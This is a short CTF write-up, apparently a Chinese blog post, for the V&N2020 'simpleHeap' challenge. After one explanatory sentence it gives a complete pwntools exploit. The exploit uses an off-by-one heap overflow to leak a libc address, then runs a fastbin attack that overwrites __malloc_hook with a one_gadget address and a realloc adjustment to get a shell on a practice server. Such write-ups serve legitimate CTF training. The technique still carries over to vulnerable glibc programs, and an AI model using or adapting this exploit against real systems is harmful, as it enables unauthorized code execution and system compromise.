[V&N2020 公开赛]simpleHeap[off by one]

清疚 2023-02-22 10:34 44阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
注意这一题限制了申请的chunk大小最大为0x6f，所以需要连续申请两个0x68大小的chunk…  
exp

from pwn import *
    
    context.log_level = 'debug'
    
    def debug_pause():
        log.info(proc.pidof(p))
        pause()
    
    def add(size, content):
        p.sendlineafter('choice:', str(1))
        p.sendlineafter('size?', str(size))
        p.sendafter('content:', content)
    
    def edit(idx, content):
        p.sendlineafter('choice:', str(2))
        p.sendlineafter('idx?', str(idx))
        p.sendafter('content:', content)
    
    def show(idx):
        p.sendlineafter('choice:', str(3))
        p.sendlineafter('idx?', str(idx))
    
    def delete(idx):
        p.sendlineafter('choice:', str(4))
        p.sendlineafter('idx?', str(idx))
    
    proc_name = './vn_pwn_simpleHeap'
    p = process(proc_name)
    p = remote('node3.buuoj.cn', 26391)                                                                                                                                                                                 
    elf = ELF(proc_name)
    libc = ELF('./libc-2.23.so')
    log.info('leak libc_base')
    add(0x18, b'a') # 0 
    add(0x68, b'a') # 1 
    add(0x68, b'a') # 2 
    add(0x18, b'a') # 3 
    edit(0, b'a' * 0x18 + p8(0xe1))
    delete(1)
    add(0x68, b'a' * 0x8) # 1 
    show(2)
    libc_base = u64(p.recv(6).ljust(0x8, b'\x00')) - 0x3c4b78
    log.info(hex(libc_base))
    
    log.info('fastbin attack')
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    realloc = libc_base + libc.sym['__libc_realloc']
    fake_chunk = malloc_hook - 0x23
    one_gadget = libc_base + 0x4526a
    
    add(0x68, b'b' * 0x8) # 4 2
    delete(4)
    edit(2, p64(fake_chunk) + b'\x0a')
    add(0x68, b'c' * 0x8)
    log.info('modify stack size (rsp)')
    add(0x68, b'a' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc + 0x10))
    p.sendlineafter('choice:', str(1))
    p.sendlineafter('size?', str(0x18))
    p.interactive()

![在这里插入图片描述][20200702230630908.png]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200702194107383.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[20200702230630908.png]: https://img-blog.csdnimg.cn/20200702230630908.png